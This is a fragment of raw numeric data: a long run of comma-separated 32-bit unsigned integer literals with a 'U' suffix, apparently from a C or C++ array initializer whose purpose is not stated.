1664890502U, 1384092270U, 128022591U, 2262864208U, 1917228739U, 2273871258U, 5904136U, 4201330915U, 2934454115U, 3919419243U, 673803552U, 1092398420U, 3328694541U, 28207347U, 3397304308U, 3688001443U, 1810915270U, 3640774558U, 1515090981U, 3762084351U, 553190976U, 3518438518U, 2965964204U, 1671049691U, 2908556143U, 3899575899U, 1642163010U, 2998859593U, 326236404U, 3758518470U, 2650097048U, 653594683U, 3319521384U, 1908793810U, 983369023U, 2736118649U, 1324553536U, 2263175702U, 1653777675U, 981391135U, 1629113508U, 2796516318U, 34296221U, 1723527877U, 2937896825U, 3252210992U, 2347966213U, 1443179468U, 2479585349U, 176657348U, 551669177U, 3197573068U, 38528225U, 3252261235U, 1312386485U, 1540844325U, 3276693471U, 393854989U, 2650705974U, 1882479707U, 1079745857U, 3110847192U, 4232917985U, 4220388235U, 2419758866U, 3600943392U, 2576541675U, 461760127U, 2141998974U, 2285814303U, 1467852450U, 743297360U, 1300740836U, 3835070187U, 224742859U, 3559145743U, 2046226991U, 3440646115U, 3514104064U, 1545522165U, 3504452736U, 3584149916U, 2677722946U, 652585309U, 3426778058U, 2718816659U, 2644490454U, 2901518651U, 4208035720U, 292593860U, 4253081770U, 2652827939U, 924430459U, 961725235U, 3650702552U, 3128303948U, 3168855506U, 3061793802U, 3868641632U, 675183487U, 502602514U, 2776599326U, 1529259405U, 3385727397U, 4023196179U, 1748830837U, 2487122928U, 53603053U, 1181534087U, 2913639135U, 1417157589U, 4028659696U, 936795302U, 4239910231U, 1810375733U, 107144143U, 2731784262U, 644698706U, 1641624181U, 2126363818U, 2688566735U, 3078013569U, 408594139U, 2571295745U, 2591258239U, 1550226363U, 2228012042U, 914418223U, 2043071217U, 3737274690U, 3352753824U, 1390032369U, 3271035841U, 4214984040U, 3302393442U, 4000401216U, 1197825659U, 2549899738U, 1901460543U, 2034184087U, 1406997821U, 3195698028U, 3841646207U, 637959474U, 480607364U, 3567298738U, 1304591553U, 993791657U, 3096854569U, 2037337844U, 2708746975U, 2387553043U, 2461727968U, 944328534U, 4069995778U, 990441943U, 709958397U, 3480597270U, 562278776U, 183880172U, 2900351236U, 164643340U, 2740877167U, 1145013940U, 214676600U, 3889185710U, 251611184U, 3691585465U, 1399448897U, 606232147U, 3568581518U, 4150376198U, 500761915U, 2510311926U, 1975392966U, 4048338313U, 2537124901U, 1580371497U, 944403790U, 2514740993U, 1977951577U, 1158794528U, 2870740169U, 2937666589U, 1112612580U, 1676929473U, 1817882470U, 1022331387U, 1360576404U, 3681498479U, 1662636978U, 4293821667U, 1405069130U, 2847522206U, 416415218U, 2452553988U, 1383056602U, 2721715791U, 236919463U, 65437724U, 3400073074U, 1347467631U, 1160604514U, 2856233596U, 3362777037U, 2082065385U, 103971948U, 1252702198U, 3204061658U, 158383985U, 2051606818U, 1903906280U, 2916871310U, 3146294757U, 3332041078U, 1763850959U, 793189144U, 364480022U, 2256008939U, 1898483235U, 3923340542U, 3844904724U, 408827224U, 4087346126U, 4069170605U, 486050699U, 1115225312U, 3896217998U, 3628999774U, 1031513139U, 781715870U, 467538826U, 4169319783U, 1942075271U, 3083455989U, 3918286591U, 506389897U, 3912629348U, 501492232U, 244636663U, 480796579U, 3803761980U, 866280625U, 3212298433U, 117723623U, 2575797856U, 1257337104U, 1094122698U, 1747961201U, 1178693364U, 2682317140U, 569665846U, 2299510648U, 3202322192U, 2879228718U, 3101567067U, 247467660U, 745387218U, 863023412U, 947255420U, 205100694U, 4072021825U, 1229364245U, 274101406U, 2654828658U, 1558809386U, 2186979175U, 1892094584U, 2222171530U, 2016925847U, 2483058289U, 3637306994U, 1442313594U, 2018176460U, 2682044527U, 3884695365U, 2828097706U, 3033692344U, 3018054642U, 689332790U, 1546656683U, 1800398153U, 661435107U, 1457242713U, 608135829U, 9624748U, 2726408510U, 639682612U, 3443722811U, 1555996499U, 3847550841U, 2016327556U, 1144821075U, 1891428787U, 141032431U, 2587352363U, 2018208859U, 3038451891U, 1448967734U, 1097359461U, 2133750134U, 662077441U, 2826958882U, 2208634876U, 2163642037U, 1584668341U, 2993262297U, 1179188359U, 3287569120U, 760083349U, 2812690624U, 3260403449U, 1824084544U, 935166278U, 1785715170U, 3772509887U, 1786962050U, 1560427283U, 2544619922U, 3366061236U, 3800237130U, 1090989151U, 2879006658U, 4293088269U, 3033855321U, 1024803372U, 2050296142U, 4023613349U, 628793721U, 2700216750U, 3295051068U, 3571233791U, 1513193350U, 1282049659U, 3232645404U, 3398643982U, 177508279U, 2502324946U, 4058451513U, 1238651973U, 661668803U, 887195402U, 1186216902U, 2135498013U, 2031876423U, 3096037659U, 3557876418U, 4195463046U, 521423186U, 2479999985U, 2480623013U, 2114159784U, 1920546620U, 1383484066U, 3509938388U, 2035688590U, 1856586128U, 2537353274U, 2729678190U, 539951428U, 4104948044U, 1863632023U, 1435717322U, 696316650U, 2987228079U, 3840441022U, 2764216572U, 3543225885U, 610741163U, 1788992232U, 3051697311U, 4272100051U, 2800884629U, 785814226U, 2215650494U, 2919436228U, 2002896822U, 858588737U, 3348896547U, 2493934430U, 4238112556U, 3064561481U, 2434497075U, 1550686770U, 3441715829U, 4031580426U, 3730118228U, 1025517340U, 281315441U, 3158993998U, 581110522U, 1626437032U, 3985883262U, 4001620837U, 241694408U, 186022594U, 1552274679U, 3428002391U, 3018628320U, 1888790866U, 1288314978U, 1883699286U, 514377687U, 1678319439U, 4146714953U, 2646105727U, 1991150370U, 3447424309U, 2174927800U, 1919304607U, 3171182601U, 3119918303U, 3070005696U, 1006845077U, 2156451315U, 3187378160U, 3102098944U, 1644640231U, 1799981663U, 1157233128U, 374717251U, 1656785373U, 23367959U, 691943094U, 126021864U, 3055787593U, 3649172331U, 3991595384U, 3667608778U, 4147556159U, 2053894452U, 3575923322U, 748120439U, 1424737003U, 1203598425U, 1711196916U, 1012604088U, 496512933U, 3376265957U, 3567340104U, 1970516152U, 2075928224U, 2214879044U, 1948196890U, 1570765886U, 3468321797U, 2765464304U, 1319394538U, 288433010U, 2785889005U, 3821851038U, 3802764524U, 1972824696U, 3567792431U, 2697110584U, 1235725199U, 3903507438U, 1212622129U, 1903741620U, 3709144572U, 3658999104U, 2178283985U, 1066792119U, 256448074U, 3281901612U, 2456028697U, 958837704U, 3904313683U, 69868292U, 433319217U, 1248712391U, 3729228959U, 3345400279U, 1948854578U, 4229986630U, 3388972231U, 1414683050U, 759457812U, 2280283581U, 1237518611U, 4005717456U, 3509892485U, 3833555239U, 2967916314U, 985218003U, 4268196764U, 3735943731U, 632844697U, 889653110U, 2518989312U, 1208953188U, 533924026U, 2657090936U, 3479684516U, 2135212253U, 2347936541U, 4179124409U, 1785803883U, 3863860550U, 3056287631U, 1734276522U, 2770969073U, 3875447576U, 3709003273U, 2021807159U, 3501027766U, 2886248854U, 656964842U, 2169397878U, 1681943421U, 3572794140U, 147508536U, 849672135U, 2839792666U, 2848079504U, 1271635018U, 2196573899U, 2393601440U, 2776545330U, 1064229719U, 760257011U, 797511528U, 1117051934U, 2546499791U, 334155240U, 2656890572U, 2847661927U, 1100150945U, 3502991986U, 1677656444U, 2690163620U, 2163131487U, 1177541723U, 3716703902U, 1756612262U, 2762357868U, 3447910693U, 1832919648U, 1033215159U, 1202430592U, 1895913510U, 1173830809U, 1740801971U, 22738308U, 1451906505U, 4237750744U, 1534707799U, 3639184168U, 3223173533U, 2364511887U, 2784760223U, 3923557074U, 3052858938U, 1377581400U, 2354431463U, 3801904430U, 2901036470U, 2920665107U, 8058873U, 990793108U, 2535012363U, 3266357028U, 3215884852U, 2068887318U, 4017195664U, 1339630130U, 1503650995U, 314926775U, 2936334470U, 2326102383U, 1222188572U, 998713109U, 4139844321U, 2229395319U, 2796785624U, 2145372044U, 774990868U, 333409404U, 2355278165U, 2013840123U, 3447440678U, 984453220U, 3925238025U, 2587241124U, 3656527258U, 1571419737U, 2027315611U, 912979774U, 2356318293U, 3749974906U, 936447139U, 3695287680U, 2400192610U, 1903691436U, 3025194287U, 2904947591U, 3267972127U, 2974756353U, 1379651358U, 1518470642U, 2292600218U, 3755186422U, 117015083U, 3153470746U, 1590971582U, 2438549324U, 3640516355U, 292452546U, 2687132438U, 2969426078U, 1137695960U, 3925706371U, 2669146104U, 229766862U, 3852451815U, 59466449U, 1674335548U, 2002948665U, 376696853U, 2932021699U, 124887444U, 4221389606U, 1558096477U, 461259350U, 2692345291U, 2025639890U, 2058958104U, 1511739981U, 2864561479U, 2882922443U, 2652892311U, 3295331192U, 1880083709U, 1187421633U, 2625851153U, 4086656971U, 239931223U, 1371986727U, 344027144U, 3244793462U, 790292784U, 3641420758U, 2653562799U, 2089691373U, 2970374562U, 2228647948U, 3757076220U, 1863216412U, 4247346685U, 3234826233U, 2804683363U, 2309990674U, 11089145U, 2866197008U, 3216219287U, 901463285U, 851732270U, 1921073470U, 979781136U, 1121210364U, 3156818766U, 4124265402U, 1405416440U, 3941022769U, 1348456545U, 831017109U, 1217268866U, 3844976995U, 3461521314U, 3519471392U, 1531520549U, 2681871167U, 705473437U, 1408433718U, 605951223U, 964883677U, 2670017948U, 856052341U, 327217519U, 1120719123U, 3112663513U, 2930693220U, 645964179U, 2189626343U, 1189082776U, 2531466103U, 47694407U, 1134687219U, 1471341905U, 3666346525U, 3260341666U, 4024423133U, 3810106656U, 3215729436U, 646656914U, 3704173228U, 2937885228U, 456285892U, 2185734120U, 590956348U, 3790873435U, 2835963269U, 800454006U, 2051174323U, 830524258U, 202840694U, 2957338640U, 3653148853U, 4012700594U, 2740267348U, 1181104899U, 887704752U, 154210348U, 1241212657U, 169153137U, 3804212239U, 3525657277U, 739926519U, 3878490544U, 5527939U, 3782619201U, 1529896570U, 1147133093U, 3541995684U, 1687003232U, 3206782097U, 4107600528U, 1288720122U, 77712387U, 1715764377U, 2091488312U, 1256246332U, 3779980149U, 1621616097U, 1258514173U, 734988410U, 3726934555U, 2391090974U, 2563467273U, 4288968198U, 2023186336U, 3685335272U, 4074976313U, 1770317854U, 338914034U, 3991123270U, 2685756485U, 100303184U, 1905187275U, 3727361367U, 2863587652U, 3538449551U, 1297480099U, 2052258804U, 3655228790U, 1920391349U, 3534568495U, 3279639200U, 213145212U, 204121083U, 1208837986U, 2172114303U, 372427100U, 205854891U, 1579698239U, 1532902589U, 2444636508U, 1579143080U, 1659837724U, 4109777612U, 4133340140U, 1685844072U, 86337806U, 4265284520U, 4166362686U, 671003698U, 1430348697U, 2452962514U, 3463992648U, 1030746284U, 1749308754U, 2328904731U, 2556374347U, 266009873U, 202563377U, 1428325798U, 1407742280U, 2858458115U, 2872230037U, 2100681356U, 1855120280U, 2698832909U, 1194978316U, 2308991628U, 1654974108U, 908511499U, 2219352162U, 1070657680U, 1044760681U, 3711616232U, 3991389004U, 3957342311U, 672532718U, 291821752U, 130641486U, 1375758865U, 3624830012U, 2161364824U, 956829335U, 3570180944U, 384325989U, 707944679U, 949536783U, 608689657U, 1385363948U, 813251742U, 1550362373U, 3998846624U, 3034386008U, 4178521217U, 2270816348U, 3719767983U, 3037751498U, 3836968238U, 1050438380U, 775192672U, 2060211983U, 735152023U, 4228544740U, 1599349967U, 2914648611U, 861419809U, 1189759533U, 3331756747U, 4263283822U, 2708664643U, 4067978110U, 3062572795U, 4176742403U, 33648124U, 1694775708U, 4215748870U, 2536724224U, 2508215547U, 3128906975U, 1091565986U, 191146701U, 3875038822U, 474423918U, 550704810U, 3655231489U, 1885734129U, 3439523909U, 61960527U, 880199689U, 4268792475U, 828720366U, 2564171131U, 3566177249U, 1729740313U, 4168910762U, 1291493094U, 2781181267U, 339047566U, 1003521977U, 423429241U, 3107669323U, 2687140064U, 3377004942U, 959738692U, 3946552498U, 45408810U, 3058594939U, 2665226119U, 4245063226U, 3702727387U, 1411080289U, 1604292345U, 2006229269U, 1143915353U, 1984805890U, 691164755U, 4158568846U, 2485764965U, 3838650268U, 1694480061U, 1261537038U, 1520449183U, 2681151749U, 2259445992U, 3105907536U, 3759681177U, 1546507471U, 3465226081U, 2074610983U, 3453633912U, 1750166907U, 1706411006U, 2124949909U, 2885388183U, 884966515U, 2501502388U, 1304604539U, 3779329703U, 345167467U, 1288239645U, 4234346794U, 751714253U, 1280369196U, 3550496963U, 3876871932U, 1245914938U, 3808193600U, 2048818499U, 4197359775U, 2741869066U, 4026996054U, 1440435043U, 2370299435U, 3640775419U, 155662322U, 645014640U, 3821768028U, 2317779624U, 3305526806U, 1320432060U, 774010764U, 3783552319U, 1189896233U, 1659929159U, 881836052U, 2536527175U, 68546726U, 2127948907U, 4111392534U, 4112882592U, 4139773220U, 1145906463U, 1540679442U, 3054847094U, 3121435239U, 3349100210U, 1394946888U, 723814237U, 1662182038U, 207878561U, 3978725347U, 2231209218U, 584304220U, 2300849196U, 2926705231U, 2063167222U, 3369926383U, 496468982U, 2079390835U, 1068421659U, 4039750171U, 1099418869U, 3395778156U, 2195851922U, 1723854594U, 940827923U, 2727015028U, 2959022480U, 2834624070U, 1511155244U, 3952235074U, 3749812293U, 2045298348U, 3196724645U, 1187946693U, 2156618222U, 474770471U, 2925698228U, 2757613249U, 3039080881U, 2647326490U, 3754276035U, 1949930305U, 2513822715U, 2109233811U, 2609579693U, 1018691278U, 1993380944U, 1542854254U, 1733690162U, 2346404164U, 2636668123U, 2730412206U, 3376484160U, 424409865U, 1440917639U, 1196057439U, 2955263546U, 2284516357U, 3621155634U, 2070732226U, 3009341332U, 2395926474U, 60221141U, 263183445U, 3285036824U, 1185073063U, 1301602802U, 2265326937U, 2010713075U, 3047526025U, 3708554767U, 3552633487U, 2874286157U, 2730100576U, 1529928958U, 1585152365U, 2266775004U, 1071613692U, 1416640483U, 1212920136U, 199600757U, 590275581U, 401369859U, 3267649281U, 3069727101U, 2846800171U, 2886058327U, 128456336U, 1725202009U, 2996045778U, 2205679203U, 2477710944U, 4209174189U, 4154878115U, 1133902045U, 1839713785U, 4131524972U, 1197500161U, 1081267452U, 3839824679U, 1354269001U, 2587953475U, 2532236276U, 3491044383U, 1024677387U, 818167525U, 460216871U, 1616417229U, 3135825229U, 261078783U, 3693604341U, 1565522609U, 3628274992U, 2913193763U, 184822314U, 1590422795U, 2577586124U, 1958326911U, 2044699103U, 671542531U, 2062395735U, 3870519926U, 2367432132U, 1374198105U, 296466595U, 2573892539U, 970167093U, 1724886447U, 1754989789U, 955953269U, 1717109593U, 3200120159U, 2560927853U, 1610399119U, 985685764U, 1667078326U, 2054609344U, 1587952150U, 751723336U, 2474180080U, 99236061U, 2536884244U, 3942902542U, 2426099615U, 1717344104U, 2577751023U, 3959711012U, 326988609U, 2875992131U, 2619072715U, 4191701542U, 470296188U, 1406626546U, 3046638509U, 2829779682U, 1269853109U, 588044213U, 626325110U, 3861627641U, 302320478U, 2211387410U, 1475249284U, 2149916632U, 999086582U, 40711328U, 1909785856U, 3080680972U, 4036212513U, 3474708489U, 637763839U, 3546979878U, 2122193301U, 19904524U, 3474172716U, 3510345416U, 1756254781U, 1982570050U, 3976309902U, 2072377095U, 3566414203U, 1379190321U, 1351734202U, 2583061056U, 1539660083U, 1510737483U, 3878363284U, 3954122817U, 1598645228U, 3743899323U, 3691579473U, 1321835197U, 200820657U, 3379029878U, 3347355662U, 197363784U, 1350608908U, 2457341462U, 1565883452U, 1941343655U, 307216293U, 1779139148U, 3011078803U, 3343430623U, 2638876037U, 1968654788U, 590057636U, 3245132369U, 1323547667U, 187003669U, 1595456626U, 3201276227U, 2936348254U, 947729706U, 2237438100U, 3533319661U, 3892085885U, 1955903533U, 174841114U, 835869603U, 719850732U, 283523156U, 31736675U, 2452442634U, 2949618636U, 1492616536U, 2152170598U, 2960238138U, 112300326U, 3987447053U, 1739926372U, 3214762990U, 3603982706U, 1457192415U, 4025878636U, 2697439345U, 3491471765U, 3275785808U, 1111493566U, 2208256191U, 2612635845U, 1846701425U, 3826876186U, 1015852363U, 1634728015U, 842571069U, 367227594U, 1800483915U, 970105993U, 3347521229U, 2516026187U, 1900368302U, 3823340405U, 2064204852U, 4188154246U, 867929119U, 698114043U, 1298248428U, 338100501U, 3526282219U, 1773119201U, 1682187116U, 882923853U, 735281417U, 2254555217U, 2804627863U, 3456748141U, 1656937833U, 163835499U, 3403710049U, 804365434U, 285917207U, 2206120867U, 1238546791U, 822473760U, 3488198105U, 1639262892U, 3581192070U, 3279101622U, 4086404702U, 911582738U, 1445619945U, 3865594309U, 1712081266U, 2280449426U, 1702752719U, 3632161390U, 905021864U, 1370260716U, 640486966U, 234963583U, 1019608738U, 1117544255U, 985153581U, 1618841477U, 1729659592U, 4243164474U, 2990128086U, 1853785533U, 227871943U, 1837997052U, 3161106231U, 1678548909U, 2667448838U, 1772488984U, 4095325278U, 3352955058U, 197890802U, 730684345U, 1924202383U, 1485403949U, 1538684482U, 537583192U, 567556072U, 3523944203U, 3524746121U, 2940290614U, 4001526136U, 848359412U, 2838593373U, 508686740U, 3744625750U, 1760150437U, 956557034U, 273695988U, 2064180017U, 2949486792U, 2782762397U, 3645443970U, 1577113158U, 4154168671U, 1324484968U, 2634606107U, 1746640497U, 3312928354U, 4223740201U, 1557474243U, 2594469193U, 2350842720U, 3261335991U, 295734441U, 3397542760U, 3474516479U, 2593404774U, 2552224045U, 1431964488U, 538991337U, 3937735748U, 2563697124U, 2568687435U, 3137796467U, 282395109U, 2968754454U, 3847257123U, 2035816075U, 2338091031U, 1671994595U, 1825088555U, 4222494487U, 3968950709U, 1556296469U, 584099690U, 3461567991U, 1490146646U, 1022293053U, 1922516240U, 714077003U, 2719419617U, 4175861418U, 3826329280U, 1030772003U, 4288647021U, 575489283U, 120093021U, 1010029163U, 2852023045U, 2968554720U, 1439965208U, 930079867U, 1319391315U, 175669695U, 990481516U, 1524915772U, 4001978509U, 4018890413U, 392413970U, 2772122372U, 1772920355U, 2031950164U, 227919688U, 4259774980U, 1840029154U, 1754817637U, 3364850965U, 2186072382U, 2173710513U, 1123766046U, 2628678457U, 876797814U, 2788489126U, 1092064743U, 632259719U, 3113154901U, 821354225U, 626573683U, 3051096712U, 2163181207U, 3355005826U, 1369885677U, 3103987763U, 1089597846U, 3838556679U, 2979117386U, 1320984158U, 972533350U, 3910149082U, 1868101518U, 521600546U, 674443563U, 293195986U, 1835293247U, 289468385U, 2038957490U, 1437933503U, 1970118858U, 2728611596U, 2328889522U, 2590774469U, 1334332016U, 1747020745U, 3977168781U, 3910027847U, 392407433U, 672092828U, 284987551U, 3894380438U, 2053883967U, 4191050330U, 3686087325U, 2344923246U, 2081422013U, 2619268805U, 1561663941U, 672202572U, 831973383U, 74418507U, 1882472392U, 1956481037U, 4134523648U, 242675332U, 5438561U, 2906331907U, 4100656093U, 3633098653U, 2473746974U, 3218391561U, 3344350955U, 1648271514U, 2576215271U, 2375743969U, 2973443238U, 2902476589U, 377323071U, 1176412554U, 1578382115U, 878199571U, 3351096364U, 2513764255U, 3133936472U, 1465269649U, 4176497392U, 3695556980U, 4215685747U, 1261495608U, 4278927588U, 1203959017U, 284098692U, 3134580370U, 1696235478U, 3477846908U, 2181017521U, 4009693747U, 4177118253U, 656067142U, 268450312U, 2932443379U, 589968441U, 2838649454U, 1396648036U, 76934070U, 2949663516U, 4249633584U, 3027912135U, 178141507U, 1324334146U, 6005923U, 2997811443U, 996854433U, 3696432679U, 711944458U, 3883642985U, 1560713178U, 1861228750U, 2283392334U, 1765141426U, 2239650798U, 2639990036U, 681717981U, 3161238356U, 3902803017U, 320304531U, 1135876094U, 2891998257U, 3333455799U, 4249913133U, 890447129U, 2220321037U, 4187318963U, 1404536983U, 1660607711U, 94583566U, 2180516990U, 1336622101U, 2417451062U, 2166342485U, 2279310494U, 3836836677U, 52696891U, 2883305493U, 3160055233U, 1456569419U, 342410314U, 1613518129U, 3595363073U, 22413493U, 2077048852U, 1732193682U, 3734612624U, 3945133567U, 1327506743U, 1119835005U, 2509100159U, 793177140U, 966007231U, 1202652306U, 1197736253U, 1531666799U, 3712599556U, 659887180U, 1377944508U, 2899185588U, 2110117541U, 2013719636U, 694850614U, 2056787202U, 4014430084U, 2992617310U, 99332358U, 777471903U, 1482476073U, 2119854990U, 2196800625U, 1739114039U, 3918532797U, 744778215U, 2842162417U, 3239842481U, 2063061541U, 1963302885U, 2042065391U, 3725177362U, 2925804153U, 1367730113U, 744366918U, 465751892U, 2852140204U, 3605268222U, 2244555014U, 1979518266U, 1242904698U, 1500867938U, 3449599548U, 2286958763U, 1746430348U, 3483634597U, 2574835359U, 3524934723U, 3669052097U, 1114226047U, 453163391U, 1453587671U, 3278648119U, 3906467981U, 732276462U, 1842178285U, 617975948U, 3708696214U, 3239861974U, 2368739969U, 1154980282U, 4088116280U, 268758239U, 2926081154U, 331523420U, 288434156U, 2967283585U, 3659283508U, 1315478755U, 2368745595U, 3747800381U, 4041203346U, 806641796U, 1981471848U, 2275108945U, 2421950397U, 463121548U, 1423944740U, 3992982687U, 2977096592U, 2026374467U, 1464962575U, 4176142234U, 1142555763U, 1682470983U, 1819347037U, 3651334432U, 3241190812U, 1001949663U, 1949530998U, 3141528375U, 3756593944U, 4053311690U, 1308431371U, 4096159658U, 914127906U, 84721032U, 2916402207U, 2058632632U, 3341370830U, 4147309130U, 1385410015U, 2170182579U, 586027057U, 482756508U, 1869941881U, 4246155381U, 3814330836U, 1703579980U, 3893896053U, 176932171U, 3712664392U, 3388255947U, 1298009989U, 1805122949U, 939204886U, 4009928571U, 2228920209U, 1968145098U, 3533873280U, 3292134550U, 2622926608U, 3652725219U, 4270116660U, 2929200618U, 1654117801U, 2369438958U, 1351453826U, 2674007340U, 483867452U, 1036130208U, 2010523114U, 2276289033U, 422328264U, 1705868911U, 3310141609U, 3994513122U, 3461275933U, 2500680344U, 3923552554U, 2465017465U, 2383482773U, 1893573664U, 2403839785U, 3121227628U, 1721995266U, 2663427634U, 3460881923U, 2793990574U, 2048089643U, 2817022031U, 2748780234U, 4214836973U, 3590592714U, 3216926397U, 131541498U, 548271403U, 2421770220U, 3178847338U, 855172584U, 3150474109U, 2519232830U, 2765222588U, 3327129409U, 2470636801U, 920498342U, 2638651905U, 3296226950U, 1082428954U, 1157307793U, 3212135499U, 1894630943U, 2193399460U, 1296360620U, 3870901176U, 1017849107U, 2607531639U, 2898074791U, 761843998U, 817333363U, 2921951387U, 1802719887U, 395857344U, 3248630870U, 683291277U, 1182684611U, 3267280462U, 108940474U, 321516337U, 1579033583U, 3928512770U, 367514359U, 1198691571U, 3207558668U, 292481712U, 4123276540U, 2772664332U, 2666845225U, 3954333068U, 2714179562U, 2039297186U, 3475411342U, 947917360U, 89913358U, 1343098818U, 3455354014U, 681414446U, 822200943U, 2675802625U, 1994208518U, 747806765U, 3698120322U, 1380852909U, 1325812044U, 1687861795U, 3470115537U, 1521000647U, 3567792617U, 4020595034U, 963022883U, 1643425026U, 1168841221U, 3295005125U, 3071145151U, 1867460176U, 3730481968U, 4128768900U, 4272176282U, 3193421882U, 4237408543U, 4091297723U, 2961566236U, 3794819591U, 2400223403U, 2955817592U, 262377392U, 477926331U, 4251178186U, 4063251774U, 3060879231U, 634891350U, 2776496729U, 3443748644U, 4254125356U, 2495591515U, 353539041U, 31634255U, 896633593U, 1045871442U, 1476923833U, 1726715506U, 2742785476U, 224035820U, 2466123913U, 2948689990U, 3176803266U, 1750306189U, 1522876918U, 3958299148U, 3873571075U, 3822934251U, 66125610U, 1563077831U, 2108958903U, 2597689187U, 1990685163U, 1183800204U, 3155574345U, 1738777966U, 3735430555U, 1293641945U, 2357473672U, 4089858968U, 681008556U, 677967770U, 3797512684U, 1813193022U, 1090554209U, 34880679U, 3809070483U, 1092562151U, 3322111074U, 1098759715U, 2608462249U, 2991455537U, 2541816098U, 4148874762U, 2346238441U, 4053243757U, 1876975496U, 2265079520U, 711811744U, 846660585U, 1977773881U, 3012740039U, 2445157908U, 2509944933U, 1562629656U, 1697963700U, 262616329U, 3491562456U, 968088515U, 2001270343U, 2506422499U, 542525260U, 1589799906U, 1527722847U, 2664652385U, 2057813978U, 1676825726U, 3347673649U, 866286049U, 1360657238U, 3952454510U, 3160463051U, 4203558701U, 1477563543U, 2258169639U, 1838427270U, 1757903U, 2820040007U, 2984470935U, 2388587393U, 291958737U, 1408864615U, 4126161233U, 1866494409U, 2320571246U, 857420255U, 2225362867U, 206113193U, 1471871615U, 1461423866U, 1357077244U, 3874103230U, 3058678313U, 4162789475U, 760046641U, 1674277277U, 2434548119U, 1134879978U, 3072282870U, 883422171U, 1356188108U, 1676104914U, 2577155070U, 2364051322U, 3992438983U, 2534711003U, 1713795725U, 3938006234U, 4238722140U, 2758221319U, 823986732U, 37457971U, 3124648609U, 787537427U, 3444042606U, 3916426610U, 2624608570U, 1730705474U, 533317668U, 1398608547U, 816512993U, 3845019717U, 1200911981U, 1643698253U, 1163192728U, 2056408779U, 3428417681U, 63357663U, 2303179402U, 4045382833U, 989271567U, 343317671U, 2726428833U, 3017463544U, 2705287108U, 1190659160U, 1392993088U, 202927691U, 4009090598U, 2199590297U, 1192169632U, 2743722949U, 1033339726U, 1632016238U, 3543508819U, 3355004129U, 1308882023U, 1027953586U, 4258880538U, 3585249589U, 1513164738U, 3359288965U, 2517516131U, 1718567475U, 263539294U, 1357764232U, 2532592721U, 3851682179U, 1981780833U, 153566773U, 2050385607U, 408128657U, 3275570087U, 3043744698U, 1551051260U, 1908158725U, 3778376565U, 2568045517U, 3759879110U, 497257811U, 3355473986U, 3839988422U, 3476205192U, 2071845829U, 3991824327U, 3582520305U, 2570616980U, 2256689054U, 3434967676U, 1743121082U, 2097512402U, 3218242665U, 2134194483U, 1803964834U, 1587693389U, 1571522505U, 253543531U, 2773608905U, 2500626349U, 4036129249U, 2173459452U, 712187709U, 1765440021U, 3000336384U, 1529759018U, 2942056046U, 2826903623U, 3250391374U, 375140597U, 3063010988U, 2520758689U, 351297284U, 1560603879U, 999766485U, 2705373885U, 2690201480U, 2497153345U, 671648313U, 1932765139U, 3243896200U, 1910376225U, 338407159U, 770544473U, 497332741U, 3899039173U, 1159508106U, 601752470U, 9700737U, 4264152001U, 2222692899U, 3304366345U, 3703233755U, 3277890785U, 2245215264U, 769845233U, 1991655489U, 541933937U, 1126258131U, 782115348U, 70853506U, 812871852U, 3988107141U, 1959202696U, 808985869U, 3465186850U, 463604537U, 2233666584U, 1372843513U, 3040383278U, 3090905947U, 1497790402U, 3375304755U, 802384552U, 1399501546U, 2766136609U, 2632403201U, 3487983788U, 3285219914U, 369683016U, 3396384543U, 831857453U, 307191373U, 3949032361U, 3858821213U, 1186433800U, 814834881U, 2362519004U, 4215480917U, 1211181301U, 781690940U, 2683814535U, 2707674783U, 2614153552U, 4140135816U, 1069932310U, 3067741866U, 1943387634U, 478977912U, 2348444502U, 1102238887U, 1130906637U, 1899331724U, 2439269350U, 3757248569U, 3663271406U, 3870837422U, 3732558681U, 207979414U, 2578512236U, 1273194561U, 474843916U, 2458808111U, 804536919U, 237146570U, 1960130075U, 2140103576U, 2333946235U, 116820958U, 1581890884U, 4136207822U, 2750908511U, 1053008386U, 3570786209U, 3573967665U, 3586885874U, 2434109084U, 116088872U, 172322082U, 1085664102U, 652492824U, 1666231197U, 4189200340U, 2524466055U, 1746705040U, 339487852U, 639133047U, 4108521366U, 1107077628U, 1824570908U, 1742677466U, 3855530969U, 3454230495U, 1591968487U, 3294775925U, 1083453288U, 1902398674U, 667917570U, 2191031793U, 3757853880U, 1721938049U, 455887092U, 2989467754U, 3872282576U, 790084265U, 3874468372U, 4081927257U, 3357612104U, 2395805531U, 4264492987U, 3127835762U, 1566843009U, 1184064787U, 187858990U, 2096137907U, 3296738867U, 2485509788U, 1627725942U, 3396212930U, 2952466471U, 3693341890U, 2855305323U, 1190340429U, 2805907338U, 4161506959U, 3635856623U, 2553714929U, 2092016935U, 3649850693U, 2654895847U, 276776198U, 4091236057U, 555116317U, 473280404U, 3380393378U, 753062965U, 2379353163U, 436053019U, 1913429412U, 819422807U, 1914906319U, 3320101422U, 625409575U, 100186052U, 882061093U, 978109580U, 1286262494U, 1153766918U, 471722282U, 3464568570U, 2724387098U, 2738231425U, 707666617U, 2333144573U, 1271185850U, 327106838U, 2455493054U, 414970255U, 2443319919U, 2643631639U, 682305554U, 3580529551U, 3497110438U, 2541895334U, 2700458056U, 4207597386U, 2855925371U, 2456275967U, 2496290131U, 1659604263U, 1167429038U, 562703400U, 1585102596U, 2956541607U, 3885847226U, 1707868243U, 2154227086U, 461276857U, 85788757U, 1983432885U, 4029931218U, 3514013438U, 1417869955U, 4142097103U, 2756218719U, 1862155530U, 2794971626U, 3344140712U, 4285455337U, 3332574411U, 4242430034U, 4225968825U, 1178888262U, 3052522495U, 17623342U, 3580831054U, 1388242987U, 1831589423U, 1072801508U, 2292751149U, 3600514280U, 2077047267U, 1311372411U, 3876709736U, 2945778842U, 1325243666U, 2371002087U, 1806691266U, 1052207560U, 1370934452U, 2413461890U, 3616348076U, 2640658555U, 1272190370U, 342569157U, 2249839308U, 1151632697U, 1591058608U, 3917557185U, 3244430680U, 903027543U, 3195293709U, 309218132U, 1820570078U, 804360737U, 3480077124U, 3480927780U, 2712741503U, 2068623903U, 1234832547U, 4258210510U, 438207442U, 3604279514U, 3696361945U, 3870939866U, 1272809980U, 3043803602U, 3306182716U, 4023204546U, 1812329687U, 4250828639U, 1696828155U, 3430087944U, 2850382007U, 2395344067U, 4067845954U, 3223969393U, 1012212890U, 3141360289U, 3717311140U, 3261378353U, 179069338U, 958209790U, 1282778992U, 2218239157U, 1716585497U, 872991590U, 1199557677U, 1205721974U, 3267596190U, 1653047189U, 3709149111U, 3418269294U, 4201350653U, 518002682U, 2855796223U, 4098394674U, 2704071069U, 818297484U, 3404251133U, 984225603U, 2572027208U, 